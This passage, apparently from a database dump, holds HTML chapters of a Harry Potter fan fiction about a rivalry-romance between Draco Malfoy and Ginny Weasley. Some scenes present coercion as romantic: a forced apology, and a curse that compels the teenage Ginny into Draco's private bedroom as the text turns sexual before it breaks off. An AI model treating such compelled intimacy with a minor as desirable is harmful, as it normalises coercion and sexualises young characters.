eyes from her, staring determinedly at his plate of food. Blaise clapped him on the back.</p>\n\n<p>&quot;Good to know I\'m not the only one staring at that Gryffindor,&quot; he chuckled pulling a chair up to Draco. Draco\'s gray eyes contracted at Blaise\'s words.</p>\n\n<p>&quot;What in God\'s name are you talking about Zabini?&quot; he snapped, shoving a sausage in his mouth.</p>\n\n<p>&quot;You know, that redhead over there. Sure she\'s a Gryffindor, but boy does she have a nice body! Ow ow!&quot; Blaise catcalled, leaning back on his chair, folding his hands behind his head.</p>\n\n<p>&quot;You lay off her... you hear?&quot; Draco warned, suddenly twisting around to face Blaise. He looked at Draco as if he had ten heads. An awkward silence passed between the two. Finally Draco spoke up.</p>\n\n<p>&quot;You know her brothers would kill you if you laid a finger on her little pure body...&quot; Draco finished. Blaise looked back at the ceiling. </p>\n\n<p>&quot;Oh, thought you had claimed dibs on her already or something,&quot; Blaise laughed, his chocolate curls bouncing about his face. Draco sighed.</p>\n\n<p>&quot;I\'m going to class,&quot; he mumbled, pushing his seat in forcefully. Blaise looked half back at him, shaking his head as Draco disappeared into the main hall.</p>\n\n<p>&quot;Who in the hell does he think he is, trying to get with a Gryffindor... stupid dumb-ass. Not like she\'d actually go for him, the poor thing\'s smitten with me!&quot; he cackled to himself knocking into a small figure. He heard a familiar gasp escape the person\'s lips. He glanced down, a redheaded girl picking up her books. She reached for a gold lined book, which was clad in green.</p>\n\n<p>&quot;Well, aren\'t you going to say \'excuse me\'?&quot; Ginny asked, looking up at him, her eyes constricting into daggers. A cruel laugh escaped his lips. <i>Just who I wanted to see!</i> he thought.</p>\n\n<p>&quot;No.&quot; Draco said the word nonchalantly, shaking his head. Ginny huffed with anger, standing up.</p>\n\n<p>&quot;You know you\'re an insufferable Prat, don\'t you?&quot; she scowled, accidentally tripping over a forgotten book that lay on the floor.</p>\n\n<p>Ginny\'s books flew everywhere as she flapped her arms haphazardly in the air, trying to regain her balance. The effort failing, she braced herself for the heavy fall that was about to come. Not knowing what else to do, Draco extended his arms out to her, catching her just in time. She opened her eyes skeptically as she fell into Draco\'s silky cloak. </p>\n\n<p>He could feel her wrap her fingers around his cloak, her body gradually slipping to the floor. He snaked his arms around her waist, picking her upright. He couldn\'t help but bury his head in her soft hair. Draco inhaled her cinnamon scent with delight, holding her tighter to him.</p>\n\n<p>Eventually he felt her ignorance leave her as she held him as he held her. She clung tightly to him, her fingers digging into his cloak, as if she needed him. He lost himself in the moment, looking into her doe brown eyes. She looked up at him, he could tell she wanted him to kiss her as she licked her lips hungrily.</p>\n\n<p>For some reason, he felt compelled to meet her every desire, swooping down, kissing her softly. He heard her moan with pleasure upon the tender pressure of his lips. She pressed herself to him, sending an electric bolt up his spine. He kissed her back as if he was on air, her tongue sneaking into his mouth. His heart began pounding wildly against his chest, putting him on a high he had never been on before.</p>\n\n<p>He felt himself pushing her away, breaking the kiss. His composure coming back to him, he smirked nastily at her.</p>\n\n<p>&quot;Go on Weasley, go back to where you belong!&quot; he drawled. A silent tear leaked down her cheek, causing a pang of guilt light in his chest.</p>\n\n<p>&quot;Who says where I do and do not belong?&quot; Ginny squeaked out.</p>\n\n<p>&quot;Me!&quot; He sneered, flashing his gray eyes at her.</p>\n\n<p>&quot;You know you\'re an insufferable Prat, don\'t you?&quot; she repeated, anger sparking in her eyes. He rolled his own at her, causing her to blush an angry red.</p>\n\n<p>&quot;You listen to me when I\'m talking to you Malfoy. I won\'t have any of this from YOU. You little piece of scum!&quot; she spat at him, retrieving the book she had tripped over in the first place.</p>\n\n<p>&quot;No, YOU listen...&quot; Draco growled, grabbing her wrist. &quot;No one talks to me like that! You will apologize!&quot; he sneered staring coldly into her brown eyes. She recoiled from his touch, nodding her head. He felt her shaking under his hand, finally letting her go.</p>\n\n<p>&quot;Sorry,&quot; she whispered dashing off into the hallway.</p>\n\n<i></i><p><i>That was an odd book she was carrying... I seem to recognize it.</i> Draco thought to himself. He waved the thought away, walking to his first class.</p>\n\n '),
	(25, 8, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast 08 A New Idea</title>\n\n\n\n<p>Toast 08 A New Idea</p>\n\n<p>A warm spring breeze danced across Ginny\'s bare toes as she sat by the lake. Her flaming hair streamed out behind her, giving her a godly appearance. A tired sigh escaped her lips, a sad gaze in her eyes.</p>\n\n<p>&quot;Why can\'t I get him out of my head?&quot; she asked herself, running her fingers through her hair. Lazily she tossed a piece of toast to the giant squid, watching it speed to the surface for it.</p>\n\n<p>&quot;You all right Ginny?&quot; Harry asked from behind her. She snapped around, a flush rising in her cheeks. She bit her bottom lip, too afraid to say anything. She slowly turned back to the lake, fixing her eyes on the still water; making sure the diary was safely tucked inside her robes.</p>\n\n<p>&quot;Virginia, talk to me... Talk to us! Do you know how worried Ron has been for the past few months? You\'ve skirted everyone in the hallway, you don\'t even talk to Colin anymore!&quot; Harry lectured, placing a hand on her shoulder, seating himself next to her on the moist grass.</p>\n\n<p>&quot;That\'s right, Harry, Ron has always been the only one who\'s truly cared about me!&quot; she growled angrily, her cold eyes snapping to him.</p>\n\n<p>&quot;What do you want me to do Ginny? Follow you to find out what\'s wrong, sneak out behind you when you wander off late at night? What do you want me to say?&quot; he huffed, turning her to him. She rotated her face in his hands, avoiding his eyes. Ginny flinched at the idea of Harry following her when she snuck up to the Astronomy tower, mostly to &#8216;coincidentally&#8217; bump into Draco. She tightened her soft lips, signifying she would give no answer.</p>\n\n<p>&quot;You are IMPOSSIBLE Ginny! You know that? You used to be bright and witty and cheerful, but now no one can even talk to you without receiving a harsh retort. What happened? Do you still...&quot; Harry questioned, trailing off. For the first time Ginny looked into Harry\'s eyes, looking past the windows of his soul.</p>\n\n<p>&quot;Gods you\'re beautiful when you open up,&quot; he sighed, his hand trailing to her cheek. Faintly, she recoiled from his touch. It was so warm, and inviting; not what she was used to.</p>\n\n<p>&quot;Maybe this will bring you back to us Gin,&quot; Harry murmured, tilting his head down to hers. His lips covered her own, but Ginny felt an absence with his touch. She pressed her lips against his, expecting the kiss she had been dreaming of to flood her body and soul, only blank feelings dropped into the pit of her chest. She pushed off of Harry, scooting a short distance away.</p>\n\n<p>&quot;What about Hermione?&quot; she inquired suspiciously, suddenly afraid that she had just ruined everything for her friend.</p>\n\n<p>&quot;She told me to Gin, we\'re all worried about you, we wanted to help you. Ron and Hermione thought it best if I came down here and talked to you. We agreed if I could do anything to bring you back, I should do it. That\'s how dearly everyone wants the old Ginny, will you please just consider it?&quot; he explained. Ginny\'s jaw dropped with disgust. Too stunned to say anything, her mouth flapped open and closed. </p>\n\n<p>Finally thinking of something to say, she spat at Harry. &quot;You wanted to help me? I think I\'m far beyond what you may call \'help\' Harry! YOU certainly didn\'t help by kissing me either. What would that have accomplished, ruining yours and Hermione\'s relationship? I don\'t think I could EVER bring myself to that. Wouldn\'t you think that I would figure it out after a while that nothing was real with you? Do you really think I\'m so far off the deep end that I would hurt my friend? I may be distant, but then again I always have been, haven\'t I? You never let me in on your little group, I was never your friend so don\'t pretend to be mine now!&quot; Ginny grumbled, standing up. She straightened her skirt, preparing to march off.</p>\n\n<p>&quot;Ginny, I have ALWAYS been your friend. I thought that, well- since you liked me... Er- we all thought that my kissing you might bring you back to us. It\'s like Tom did something to you down in the chamber and it\'s just now affecting you.&quot; Harry cooed, wrapping his hand around her wrist, preventing her from leaving. She growled under her breath.</p>\n\n<p>&quot;Well, do me a favor and DON\'T look out for me anymore. I already have six brothers who look after me. Besides, I\'m a big girl, I can swish my own wand and everything!&quot; Ginny smiled sarcastically. Catching her signals, Harry let go of her wrist, looking at her quizzically, not able to understand her. </p>\n\n<p>&quot;Thanks, now I\'ve got a lets-get-Ginny-evil meeting to attend to with Tom,&quot; she jabbered angrily, marching back to the castle. Harry sat by the lake, watching her disappearing back as she left him alone and confused.</p>\n\n<p>&quot;Who does he think he is kissing me? And then telling me it meant nothing! So much for a gentleman...&quot; she hissed as she approached the Main Hall\'s doors.</p>\n\n<p>&quot;Looks like I was better, judging from the way you pushed off him,&quot; a boy sneered from behind her. Her eyes widened, a look of subdued glee spreading across her face, as she gawked up into the face of Draco Malfoy.</p>\n\n<p>&quot;I really don\'t have time for you right now Malfoy,&quot; Ginny growled, hiding her joy.</p>\n\n<p>&quot;Was he less than everything you dreamed, Weasley?&quot;</p>\n\n<p>&quot;Don\'t see why it\'s any of your business. Furthermore, I\'m not the pathetic excuse of a hormonal teen, you are! I should be asking you if that Ravenclaw was less than everything you dreamed... Oh wait, you never even got the chance to see, you were too scared of her!&quot; Ginny laughed, pushing open the doors to the castle. Draco stood outside, his jaw dropping to the floor, giving him the appearance of a gaping fish.</p>\n\n<p>&quot;Come, come Malfoy, don\'t let your father find that I left you speechless. Or is that what you want, maybe I should tell him so you can go ruin people\'s lives and maybe even rape a few women with the Dark Lord!&quot; she batted her eyelashes sweetly at him. &quot;Oh and I don\'t need this anymore, I think I\'ve actually got it memorized!&quot; she finished, throwing his diary back at him. He stood, staring at her for a moment, looking down at her muddy feet.</p>\n\n<p>&quot;And do refrain from looking at my legs, I know they\'re nice but they\'re not for you!&quot; she chortled walking away, leaving Draco lost for words for the first time in his life.</p>\n\n<p>Feeling confident and self-assured, Ginny bounded up to her dormitory to find refuge and rest. She had had a tough day thinking about Malfoy, being kissed by Harry and then telling Malfoy off.</p>\n\n<p>&quot;Ha, bed! How nice it is to see you!&quot; Ginny sighed happily, flopping down on her four poster bed. She kissed her pillow, resting her head on its soft, plushy cover.</p>\n\n<p>&quot;Er- you alright?&quot; Hayley asked, peeking her head inside Ginny\'s curtains.</p>\n\n<p>&quot;Yes, just tired,&quot; Ginny called, her words hardly comprehendible since she was plunged headfirst into her pillow, her stuffed monkey secured safely in her arms.</p>\n\n<p>&quot;It\'s just that you\'ve been so quiet lately, always sitting in your bed with your curtains closed, you know, reading something...&quot; Hayley breathed sitting down next to Ginny. Ginny groaned, removing her head from her cold pillow and sat up, her monkey still in her hands.</p>\n\n<p>&quot;You wanna know what I was reading all that time?&quot; Ginny asked, a sly gleam in her eyes.</p>\n\n<p>&quot;Well of course, I\'ve only been trying to ask you since you and Colin started fighting!&quot; Hayley replied eagerly, her sugar brown curls bouncing up and down.</p>\n\n<p>&quot;Draco Malfoy\'s DIARY!&quot; Ginny whispered in Hayley\'s ear. Ginny watched with amusement, as Hayley\'s eyes grew wide.</p>\n\n<p>&quot;No... THE Draco Malfoy? Holy Cricket, how in the world did you manage to even get it?&quot; she asked, almost too stunned to say anymore.</p>\n\n<p>&quot;Well, first I snuck into his dormitory... and then I took it and ran! That\'s all, it was easy as taking candy from a baby!&quot; Ginny smirked as a pang of guilt hit her for lying. After all, it wasn\'t exactly all that easy stealing something from Draco Malfoy.</p>\n\n<p>&quot;I don\'t believe you. Did he try to do something to you again? You know, I saw him kiss you on our first day back...&quot; Hayley giggled, watching Ginny\'s eyes grow wide.</p>\n\n<p>&quot;You did? Oh gods I feel embarrassed!&quot; she whimpered, a crimson blush spreading from cheek to cheek.</p>\n\n<p>&quot;That\'s really not a good color for you...&quot; Hayley huffed.</p>\n\n<p>&quot;What\'s not?&quot; Ginny asked.</p>\n\n<p>&quot;The blush... You look as red as a tomato and it clashed horribly with your hair!&quot; Hayley smiled warmly. Ginny threw a playful punch at her shoulder, rolling her eyes.</p>\n\n<p>&quot;Thanks Hayley, you got my Ginny back!&quot; Colin laughed, pushing her bedside curtains aside. Ginny threw a confused look at Hayley.</p>\n\n<p>&quot;Alright Gin, this is how it goes... Colin was really sorry for anything he did and he wanted to apologize to you, but he was too afraid you were still mad so he had me come and talk to you. I really did enjoy our conversation, sit with us at breakfast tomorrow? You can even bring your monkey if you want to!&quot; Hayley explained, letting a soft chuckle escape her lips as she looked at Ginny\'s ragged monkey.</p>\n\n<p>&quot;Oh, uh sure... But his name is Frank.&quot; Ginny replied lamely. <i>So it had all been a plan to get Colin to talk to me again, how pathetically rude.</i> Ginny huffed to herself turning to Colin. Hayley stood up, clearing her throat.</p>\n\n<p>&quot;Well, I think I shall leave you two alone...&quot; and with that she pushed Colin inside, pulled the curtains closed, and walked away.</p>\n\n<p>&quot;Ginny, I\'m sorry I kissed you before... It\'s just that I really liked you, and I still do, but I know I don\'t have a chance, especially when I\'m being compared to Harry; and I never dreamed that it would ruin our friendship-&quot; Colin rambled.</p>\n\n<p>&quot;Colin, do you remember what you first said to me the day we \'officially\' became friends?&quot; Ginny asked, cocking her head to the side. Colin shook his head no.</p>\n\n<p>&quot;You told me that we would be friends forever, none of that mushy stuff you see in Muggle films will ever happen. That we would do anything and everything together and nothing would split us apart,&quot;</p>\n\n<p>&quot;And I broke two parts of that pack, I kissed you and then let you go. Gods Ginny, I\'m sorry, you needed a friend and I was nowhere to be found...&quot; Colin sighed, pulling Ginny into a warm embrace. She wrapped her arms around him, a tear leaking down her cheek.</p>\n\n<p>&quot;I missed you...&quot; she choked out.</p>\n\n<p>&quot;I missed you too Gin,&quot; he sighed rubbing her back as she pulled tighter to him. &quot;We\'ll get Malfoy back, after all he is the one that caused all this. Am I correct?&quot; he asked her, she nodded her head, pulling away as she wiped a tear from her eye.</p>\n\n<p>&quot;Here, this is what we\'ll do...&quot; Colin began, whispering in Ginny\'s ear.</p>\n\n<p>~*~</p>\n\n<p>&quot;ZABINI!&quot; Draco roared from his four poster bed as he flipped angrily through his diary.</p>\n\n<p>&quot;You rang, dear cousin of mine?&quot; Blaise asked, stumbling into the Dorm room. His hair was set awry on his head, water droplets falling from free tendrils of hair; he had obviously just stepped out of the shower. Blaise plopped down on Draco\'s bed, looking at the book he was holding.</p>\n\n<p>&quot;Looks like you found your diary, good job mate. Now if you don\'t mind, I\'m going to finish my shower.&quot;</p>\n\n<p>&quot;I do mind. Sit back down.&quot; Draco growled, tugging the towel, which was covering Blaise\'s waist. Fortunately it stayed in its place as Blaise was awkwardly jerked back onto the bed.</p>\n\n<p>&quot;You realize that Crabbe and Goyle are going to deprive me of my beloved hot water if you don\'t let me get back to my shower?&quot; Blaise asked, looking sideways at Draco.</p>\n\n<p>Not paying attention to a word Blaise had said, Draco began ranting to Blaise. &quot;Do you know who had my diary? Let me give you a hint... they\'re a Gryffindor!&quot;</p>\n\n<p>&quot;Was it that little redheaded dish you were snogging in the Astronomy Tower, oh, ever since the beginning of the year?&quot; Blaise asked, a sly look plastered to his face. Draco\'s eyes sharpened.</p>\n\n<p>&quot;SHE was hitting on me, and yes, it was her. How did you know?&quot; Draco mumbled, looking his cousin square in the eye. His look would have normally made anyone flinch, but Blaise was obviously used to it.</p>\n\n<p>&quot;Had a hunch it was her since it was missing. Really, the way she looked at you in the Great Hall... it gave away everything. May I get back to my shower now?&quot; Blaise sighed; rubbing his sopping wet hair.</p>\n\n<p>&quot;No, you\'re going to sit here and devise a plan with me...&quot; Draco roared shooting daggers at Blaise, actually making him shiver.</p>\n\n<p>&quot;Yes... all right. Anything for my cousin, just let me put on some clothes since I evidently won\'t be finishing my shower until later tonight.&quot;</p>\n\n '),
	(25, 9, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast Chapter 9 Urges</title>\n\n\n\n<p>Toast Chapter 9 Urges</p>\n\n<p>Ginny walked into the Great Hall the next morning, rubbing her eyes; convinced that if she moved them enough they wouldn\'t collapse on her. She tiredly plopped down by Colin; her hair set all a mess. Placing some toast on her plate, she spread the strawberry jam over it neatly. A huge yawn escaped her lips as she went to take a bite. Suddenly, she turned to Colin.</p>\n\n<p>&quot;I know what we\'ll use! TOAST! After all, it is what got me into this mess anyway!&quot; Ginny exclaimed. Colin looked at her a bit funny, but nodded his head.</p>\n\n<p>&quot;Did you memorize the incantation yet? It\'s a bit more complicated than your average day charm. I\'m not even sure if Flitwick would teach it,&quot; Colin asked, rubbing his head tiredly. Not only had they stayed up until all hours of the night, but also they had woken up early so they could talk without anyone hearing. Ginny hadn\'t thought it necessary, but Colin stuck to his idea stubbornly. She tried to take another bite of her toast, but another yawn blocked its way.</p>\n\n<p>&quot;I STILL don\'t understand why we had to get up so darn early. It is five o\'clock in the morning and we BOTH just went to bed an hour ago!&quot; Ginny whined a cute little pout on her face.</p>\n\n<p>&quot;Because I said so!&quot; he laughed, flicking her freckled nose. She stuck her tongue out at him, and wasn\'t surprised when he crossed his eyes and began jumping around as if he was a chimpanzee.</p>\n\n<p>&quot;Guess who I am...&quot; Colin asked amidst all the jumping and squawking.</p>\n\n<p>&quot;Who?&quot; she asked lazily; mulling a thought in her head.</p>\n\n<p>&quot;Malfoy!&quot; he chuckled, sitting back down after getting many strange and disapproving looks from the teachers that were up and about. Ginny rolled her eyes, sitting up.</p>\n\n<p>&quot;Now that we\'ve talked, I\'m going back to bed,&quot; she sighed, stumbling out of the Great Hall\'s doors. Colin shrugged his shoulders and munched on a fatty piece of bacon.</p>\n\n<p>A smile lit Ginny\'s face as she thought of sleeping in late. After all, it was Sunday, and she had no classes to attend. She bumped into something firm and hard; thinking it was just the wall again. (She had a tendency to walk into walls believe it or not.) Lazily, she looked up into cool, gray eyes. Instead of gasping like she normally did, she just groaned.</p>\n\n<p>&quot;It\'s you again,&quot;</p>\n\n<p>&quot;Your point?&quot; Draco asked, raising one eyebrow as he always had, looking skeptically at her.</p>\n\n<p>&quot;Get out of my way. I need my beauty rest and no one is going to stop me. Not you, not Harry, not Dumbledore, not even Tom. Now if you\'ll excuse me-&quot; Ginny began, but was rudely cut off by Draco.</p>\n\n<p>&quot;Tom?&quot;</p>\n\n<p>&quot;Tom Marvolo Riddle... you know He-Who-Must-Not-Be-Named. Actually we\'re old chums, it\'s just when he betrayed me and tried to kill me to get power for himself and then disappeared, things didn\'t exactly wind up peachy keen between the two of us. So I guess he could only stop me by magic because I\'d spit in his face if he tried to talk to me. Now PLEASE let me pass!&quot; she grunted. Draco laughed in her face.</p>\n\n<p>&quot;I REALLY don\'t have time for this, and you\'re really hacking me off, so move!&quot; she snapped, willing to give anything to be sleeping in her bed.</p>\n\n<p>&quot;I don\'t think I shall,&quot; he sneered, a smile in his eye. Ginny huffed out in anguish as Draco Malfoy gently shoved her off her last nerve.</p>\n\n<p>&quot;You\'re slick and sly and think your cunning, but you\'ll never guess to you what\'s coming. You sneer and laugh; well you\'re just one great arse. For all those who you have tortured, this hopefully will bring their fortune. You laughed at me, so let it be. I end this here and now, you are toast you flaming cow!&quot; she spat out the incantation, waving her wand from inside her pocket. Draco hadn\'t realized it was a spell, but looked at her as if she should be at St. Mungos.</p>\n\n<p>&quot;You need to go to Pomfrey more than anything else, or maybe a shrink...&quot; he laughed, stuffing his hands in his pockets. He let out a small chuckle, moving out of Ginny\'s way and slid into the Great Hall.</p>\n\n<p>&quot;Finally, bed!&quot; Ginny smiled, and trudged up the stairs.</p>\n\n<p>~*~</p>\n\n<p>&quot;Didjya do it?&quot; Blaise asked, thudding down next to Draco.</p>\n\n<p>&quot;Yeah, she didn\'t notice though.&quot; Draco snorted with laughter. Blaise clapped him on the back.</p>\n\n<p>&quot;Good Job mate!&quot;</p>\n\n<p>&quot;Why do you always say \'mate\'? It\'s uncommonly irritating.&quot;</p>\n\n<p>&quot;Because I can. Pass the toast please.&quot; Blaise asked, looking expectantly at Draco. Draco felt his bladder suddenly expand, water filling it up to the brim. He felt as if he were about to burst. Draco ran out of the Great Hall and into the nearest boy\'s toilet. When he returned, he received odd glances from most of his fellow Slytherins.</p>\n\n<p>&quot;What in bleeding tarnation was that all about? I just asked you to pass the bloody toast!&quot; Blaise howled. Draco\'s eyes grew wide once again as he sped off to the toilets. This time, Blaise followed him.</p>\n\n<p>&quot;Holy cricket, what\'s the matter with you? I say toa-&quot; Blaise began, but Draco kicked him in the shins before he could finish the word.</p>\n\n<p>&quot;Don\'t say that word to me again or I\'ll rip this pipe off the wall and thrash you with it!&quot; Draco hissed, washing his hands in the sink</p>\n\n<p>&quot;You may be an ornery little bastard, but you sure are a clean, ornery little bastard! All right, all right. I won\'t say it again. I\'ll give word to the others too okay?&quot; Blaise rolled his eyes, walking out of the bathroom, his hands shoved into his pockets.</p>\n\n<p>&quot;This is really going to piss me off...&quot; Draco mumbled, stomping out of the bathroom. A stray tendril of hair flew into his face, he swatted at it angrily, but it remained in its place.</p>\n\n<p>&quot;Now I remember why father made me slick my hair back!&quot; he grumbled, kicking a stone on the floor. He watched in amusement as it smashed a vase to pieces. </p>\n\n<p>The sounds of feet padding on the floor swept into his ears. Looking around, seeing that there was no one else to pin it on, Draco ran; he ran like he had never run before. He dashed by the Great Hall, ducking into the dungeons, coming face to face with Professor Snape.</p>\n\n<p>&quot;I hear your journal has been returned into your possession. Congratulations Mr. Malfoy. How did you ever manage to do it? Who was the thief?&quot; he inquired, twiddling his thumbs in anxiety.</p>\n\n<p>&quot;Just misplaced it sir. Found it under my bed, that\'s all,&quot; Draco lied, not knowing why he felt the need to protect Ginny from Snape\'s wrath. He came to the false conclusion that he only wanted to deal with her himself.</p>\n\n<p>&quot;Yes, yes Mr. Malfoy. Move along now, there\'s no need to sit in the dungeons all day. Sharpen your Quiddich skills, we DO have a gave this Friday and if you want to beat Potter I suggest you practice,&quot; Snape growled, dismissing Draco. Draco made a rather rude gesture to Snape\'s back before he went to prowl about the castle.</p>\n\n<p>~*~</p>\n\n<p>It hadn\'t been three hours before people began waking Ginny up from her much needed slumber. Someone tapped impatiently at her shoulder, trying to wake her. Ginny half woke up; but didn\'t stir. The person began jabbing at her shoulder, hissing at her to get up under their breath. Ginny rolled over; her eyes still glazed from sleep. She mumbled at them and started swatting at their face. Bushy brown hair and chocolate eyes zoomed into view.</p>\n\n<p>&quot;Erg, Hermione give me five more minutes... PLEASE!&quot; Ginny babbled, her eyes fluttering shut. Hermione let out an exasperated sigh as she called from someone out in the hallway. Harry and Ron timidly stepped inside.</p>\n\n<p>&quot;Help me with her, she won\'t budge!&quot; she whispered, pointing at Ginny\'s motionless body. Ron and Harry looked at each other, then moved to get Ginny up. Ron tried to pick up her head while Harry hoisted up her legs. Ginny\'s body immediately tensed, making it ten times heavier.</p>\n\n<p>&quot;We\'ll murder her if we carry her down the stairs like that. You\'d think that after being her brother for sixteen and a half years I could pick her up. She\'s one stubborn mule I tell you. She used to do this when Mum tried to pick her up out of bed in the mornings when we were little,&quot; Ron sighed, sitting down on her bed. Harry groaned.</p>\n\n<p>&quot;I don\'t feel like waiting another couple hours to talk to her just because she decided to stay up with Colin all night... not to be rude or anything...&quot; Harry added, running his fingers through his hair. Ginny snapped up, shoving the blankets off her body.</p>\n\n<p>&quot;I\'ve already hexed someone just because they wouldn\'t let me sleep. Ron can tell you I get awful grumpy so please go complain and moan somewhere else, particularly where I can\'t hear you if that\'s not asking too much. After all I did hex Malfoy, your enemy, so I guess I did you a favor. Please repay me and let me sleep for just another hour!&quot; she snapped, shooting daggers at them all with her eyes. They stumbled back, appearing to be afraid of her.</p>\n\n<p>&quot;You listen here Ginny, you have been nothing short of awful to us all year. We\'ve tried to be nice to you; we\'ve tried to be patient; but I, for one, won\'t take this anymore. No one deserves to be treated like dirt, and something has to be wrong with you if you\'re acting like this. You used to be kind and gentle. A genuine soul, but now you are just seeking revenge and wreaking havoc on everyone who tries to stick by your side. You may not consider me your best friend, Ginny, but I\'ll always think of you as someone I can talk to. I don\'t know where that Ginny went. She\'s gone and now you\'re here. I\'ve been putting up with you in hopes of getting her back, but now I see that it\'s useless. Something is eating away at you, but you won\'t tell anyone what it is. How can you expect us to help you if you won\'t let us get in close proximity to you?&quot; Hermione exploded, breathing gently. She almost seemed calm, but Ginny could tell she was enraged.</p>\n\n<p>&quot;It\'s always me isn\'t it? Have you ever stopped to think that maybe I just got tired of tagging along with the famous &#8216;trio&#8217;? Do you honestly expect me to try to work my way in with you after you\'ve kept me out of your little circle for years? Well something\'s coming to you if you honestly believe that. I am not a puppet anymore. I am not going to be walked all over, and I need someone who will treat me special, not as just one of the Weasley\'s, or Ron\'s little sister. You all can\'t offer me that, so why should I try to wiggle my way in anymore? It\'s useless and now that I\'ve seen that I\'m through with all of this. Get out of my room. No Ron, you stay!&quot; Ginny roared at them. Ron looked at Harry and Hermione, telling them he would be out in a second, and turned to Ginny.</p>\n\n<p>He didn\'t offer words, he didn\'t offer scorn, he just hugged Ginny. He embraced her whole-heartedly, not caring what she had just said. He patted her hair gently, kissing her forehead.</p>\n\n<p>&quot;So you hexed Malfoy?&quot; he asked her, looking at her sweetly. Ron had always been her favorite brother. He was always the one that understood what she was going through.</p>\n\n<p>&quot;Yeah, and I stole his diary,&quot; Ginny smiled coyly. Ron goggled at her.</p>\n\n<p>&quot;You what?&quot; he stuttered, his eyes growing wide.</p>\n\n<p>&quot;You heard me Ronald Weasley!&quot; she grinned.</p>\n\n<p>&quot;What was in it? What did he write about?&quot; Ron asked eagerly, waiting for more. Ginny opened her mouth, only she couldn\'t talk. The words she was trying to form wouldn\'t form themselves, and she just sat there mumbling nonsense to her brother.</p>\n\n<p>&quot;You okay Gin?&quot; he asked, a hint of concern in his voice.</p>\n\n<p>&quot;Yeah, it\'s just that, I can\'t tell you...&quot; she muttered, looking down at her feet.</p>\n\n<p>&quot;Of course you can! I may tease him about it, but that\'s nothing big!&quot; Ron exclaimed, trying to convince his sister to tell him.</p>\n\n<p>&quot;No Ron, I physically can\'t tell you. My body won\'t let me. It\'s as if a sock is gagged in my mouth every time I try to tell you. I\'m sorry!&quot; Ginny sighed.</p>\n\n<p>&quot;Well try writing it down,&quot; Ron snapped, grabbing a piece of parchment and a quill. Ginny took up the quill in her hand, and began to scratch on the parchment, but she could only manage to write squiggles before the quill flew out of her hand. She gazed up at Ron, horrified.</p>\n\n<p>&quot;Looks like he hexed you as well,&quot; Ron groaned, disappointment dripping from his voice.</p>\n\n '),
	(25, 10, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast chapter 10 The Final Blow</title>\n\n\n\n<p>Toast chapter 10 The Final Blow</p>\n\n<p>After trying things for hours, Ron stomped out of Ginny\'s room annoyed and angry. If truth be told, Ginny pushed him out of her room. He had tried everything from counter-hexes, charms, ancient incantations; but nothing worked, not to mention it hurt her head. They were both convinced that Draco had used dark magic to keep Ginny quiet. Ron hadn\'t known that Ginny had resolved to go to the dungeons looking for Draco that evening.</p>\n\n<p>Later that night, she slipped a nightgown on, covering herself with a scarlet robe. Her dainty feet slid into petite, lion slippers. Ginny picked up her wand, tiptoeing out of her room. She slid past a few fifth years creeping up the stairs to the boy\'s dormitory. Seeing that no one was in the common room and that they were all tucked safely into their beds, Ginny slipped out of the portrait.</p>\n\n<p>Her feet made little pitter-patters on the floor as she walked, holding up her wand for light. She whispered a charm, which would glow red when Filch or a prefect was nearing so she wouldn\'t get caught. Slowly her wand\'s tip changed from a piercing white to a light pink to a crimson red. Ginny didn\'t notice until the last moment, but it was already too late. A cold hand circled her mouth, covering it fully. It pulled her sharply into a firm body.</p>\n\n<p>&quot;Weasley, out prowling I presume?&quot; Draco hissed, silky blonde tendrils falling lightly onto her cheek, he was so close, Ginny could almost taste him. She shuddered under his presence&#8230; her knees feeling weak. He swept a giant cloak over the both of them. She could no longer be seen, but all she could focus on was the fact that she was alone with Draco. An unwanted feeling of bliss shot through her bones. She flinched, recalling the fact that she couldn\'t contain herself when she was with him.</p>\n\n<p>She had been staring at him, her jaw hanging half open. He smirked at her, making her come back to consciousness. She tore her doe-brown eyes away from him, looking at her two feet. Before he knew what he was doing, his hand flew down to her chin. </p>\n\n<p>Draco\'s finger tilted her head up, forcing her to look into his frigid eyes. He had never understood why, but he could see everything she was feeling. Her eyes made her an open book, he could bend her to his will, or make her miserable if he pleased.</p>\n\n<p>He felt her shiver under his touch. She tried to pull away from him, knowing that she shouldn\'t be there alone with him. A cold, cruel laugh slipped from his lips. She looked curiously up at him, her eyes showing penitence.</p>\n\n<p>&quot;You never answered my question Weasley. Looks like I\'ll have to take you into my private quarters for questioning,&quot; he sneered. Her eyes grew wide. Draco inwardly smiled, knowing that she couldn\'t, and wouldn\'t, contain herself when she was alone with him. He removed the cloak, tucking it inside his satin robes. He began striding ahead, expecting Ginny to follow him. She stood where she was.</p>\n\n<p>A feeling of unjust immorality was panging in her head. Her heart was begging her to follow him. Begging to let herself go in her feelings, to be set free. If she was ever to escape the black hole she had burried herself in since her first encounter with Tom, she had to be with Draco.</p>\n\n<p>He was the only one that she could let herself go with. He wouldn\'t hold her back, or tell her she was wrong. No one could tell her that something she felt so strongly about would be wrong. No one person could stir her feelings. Perhaps it was just that she felt the need to rebel, but she knew that what she sensed was meant to be. She didn\'t know how or why, she just did.</p>\n\n<p>&quot;I said come Weasley,&quot; Draco hissed, he had turned around, staring fiercely at her. Not knowing what was going on, Ginny felt her feet picking themselves up, following Draco. A peep of fear flew from her lips. She looked from her feet to his gallivanting face. She stopped trying to fight the curse, letting it take its course. Ginny let her feet follow Draco to a hidden chamber in the Slytherin Dormitory.</p>\n\n<p>The walls were lined with an emerald green wallpaper; black leather couches scattered about the room. It seemed nothing had a specific place. In the middle of the bumble was a tall four poster bed. She felt herself sit down on the silky bed, her back leaning on few of the many soft pillows. Sparse candles were strewn about the room, giving it a dim glow. Crimson flames tipped with silver licked the tips of the fireplace; it gave the room a certain chill she had only felt in the Slytherin Common Room.</p>\n\n<p>Ginny shivered, her hands rubbing her arms as an attempt to warm them. She looked up upon feeling Draco\'s steadfast gaze on her. She couldn\'t help but let her eyes flick over his body. An emotion she hadn\'t felt before aroused within her. She stood up, gliding over to him. Ginny looked as a flaming angel, her hair setting a fiery halo about her head.</p>\n\n<p>Her soft lips pressed eagerly to his own, her hands fingering his studded belt. She begged him to open his mouth, to let her explore his vast wonderland. She needed him more than 